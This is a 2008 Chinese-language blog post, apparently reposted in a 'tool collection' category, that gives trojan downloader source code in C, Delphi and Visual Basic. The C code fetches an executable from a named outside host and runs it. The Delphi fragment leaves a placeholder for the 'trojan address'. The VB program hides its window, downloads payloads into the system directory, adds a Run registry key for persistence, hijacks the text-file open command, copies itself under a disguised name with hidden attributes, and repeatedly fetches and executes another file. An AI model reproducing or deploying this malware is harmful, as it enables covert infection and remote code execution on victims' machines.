首页 > 工具收集 > 三种语言的下载者源代码:C Delphi Vb

三种语言的下载者源代码:C Delphi Vb

2008年1月17日 发表评论 阅读评论

原始出处:http://www.antcodes.cn/post/17.html

C

<br />#include<windows.h><br />#include<urlmon.h><br />#include<process.h> <br />#include<Shellapi.h> //这里这个头文件是对ShellExecute的定义<br />#pragma comment (lib,"Urlmon.lib")<br />int main()<br />{<br /> URLDownloadToFile(NULL,"http://www.lzitw.com/kj/hoho.exe","C:&#92;test.exe",0,NULL);<br /> ShellExecute(0,"open","c:&#92;test.exe",NULL,NULL,SW_SHOW);<br /> return 0;<br />}<br />

Delphi      

<br />//调用API<br />uses <br />Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms, <br />Dialogs, StdCtrls, ExtDlgs, ShellAPI; <br />//调用的API函数<br />ShellExecute <br />URLDownloadTofile <br />//在Delpihi在窗体运行的那个过程(form1.CREAT)里写上<br />URLDownloadToFile (0, &#039;木马地址&#039;, &#039;c:&#92;蓝梦泽.exe&#039;, 0, 0 <br />ShellExecute (0, &#039;Open&#039;, &#039;c:&#92;fhm.exe&#039;, nil, nil, SW_SHOWNORMAL); <br />

Visual Basic

<br />Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)&#039;延迟1秒<br />Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long<br />Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long<br />Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long<br />Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long<br />Private Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long &#039; Note that if you declare the lpData parameter as String, you must pass it By value.<br />Const Key_Run = "SOFTWARE&#92;Microsoft&#92;Windows&#92;CurrentVersion&#92;Run"<br />Const HKEY_LOCAL_MACHINE = &H80000002<br />Const REG_SZ = 1 &#039; Unicode nul terminated string<br />Dim LhKey As Long<br />Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long<br />Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long<br />Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long<br />Private Sys As String &#039;系统目录<br />Private US As String &#039;自己<br />Private Tmp As String &#039;临时文件夹<br />Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long<br />Private Sub form_Load()<br />On Error Resume Next<br />Dim RegEdit As Object, Apppath As String<br /> Dim Cp As String<br />Dim Ret As Long<br />Dim sCurrentPath As String, sSystemDir As String<br />sCurrentPath = App.Path & "&#92;" & App.EXEName & ".exe"<br />form1.Visible = False<br />Sys = String(255, 0)<br />Ret = GetSystemDirectory(Sys, 255)<br />Sys = Left(Sys, Ret) &#039;获得系统目录<br />US = String(1024, 0) &#039;获得自己的完整路径<br />Ret = GetModuleFileName(0, US, 1024)<br />US = Left(US, InStr(US, Chr(0)) - 1)<br />Tmp = Temp &#039;获得完整临时目录<br />If Dir(Sys & "&#92;" & "hoho.exe") = "" Then<br /> Ret = URLDownloadToFile(0, "http://www.lzitw.com/kj/hoho.exe", Sys & "&#92;hoho.exe", 0, 0)<br /> End If<br />Cp = Sys & "&#92;system.exe" <br />Ret = RegCreateKey(HKEY_LOCAL_MACHINE, Key_Run, LhKey) &#039;写入注册表,以便开机重启<br />Ret = RegSetvalueEx(LhKey, "server", 0&, REG_SZ, ByVal Cp, Len(Cp) + 1)<br />Ret = RegCloseKey(LhKey)<br />If InStr(UCase(US), "INETDBS") = 0 Then<br />End If<br /> Apppath = IIf(Right(App.Path, 1) = "&#92;", Left(App.Path, Len(App.Path) - 1), App.Path)<br /> &#039;取得当前路径,如果是在根目录下就要去掉一个“&#92;"<br /> Set RegEdit = CreateObject("WScript.Shell")<br /> RegEdit.regwrite "HKEY_CLASSES_ROOT&#92;txtfile&#92;shell&#92;open&#92;command&#92;", Sys & "&#92;" & "rund1132" & ".exe %1"<br /> On Error Resume Next<br /> Dim cmd As String<br /> cmd = Command()<br /> If cmd <> "" Then<br /> Shell "NOTEPAD.EXE " & cmd, vbNormalFocus<br /> End If<br />On Error Resume Next<br />FileCopy sCurrentPath, Sys & "&#92;System.exe"<br />On Error Resume Next<br />FileCopy sCurrentPath, Sys & "&#92;" & "&#92;rund1132.exe"<br />SetAttr Sys & "&#92;" & "&#92;rund1132.exe", 7<br />&#039;判断程序是否下在运行<br />If App.PrevInstance Then<br />End<br />End If<br />Kill Sys & "&#92;systrsy.exe"<br /> Do While Dir(Sys & "&#92;" & "systrsy.exe") = ""<br /> Ret = URLDownloadToFile(0, "url", Sys & "&#92;systrsy.exe", 0, 0)<br /> Call Sleep(100000)<br />Loop<br /> Shell Sys & "&#92;" & "systrsy" & ".exe", vbNormalFocus<br />

转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:三种语言的下载者源代码:C Delphi Vb
本文地址:http://www.woyigui.cn/2008/01/17/%E4%B8%89%E7%A7%8D%E8%AF%AD%E8%A8%80%E7%9A%84%E4%B8%8B%E8%BD%BD%E8%80%85%E6%BA%90%E4%BB%A3%E7%A0%81%EF%BC%9Acdelphivb/

分类: 工具收集 标签: , , ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
*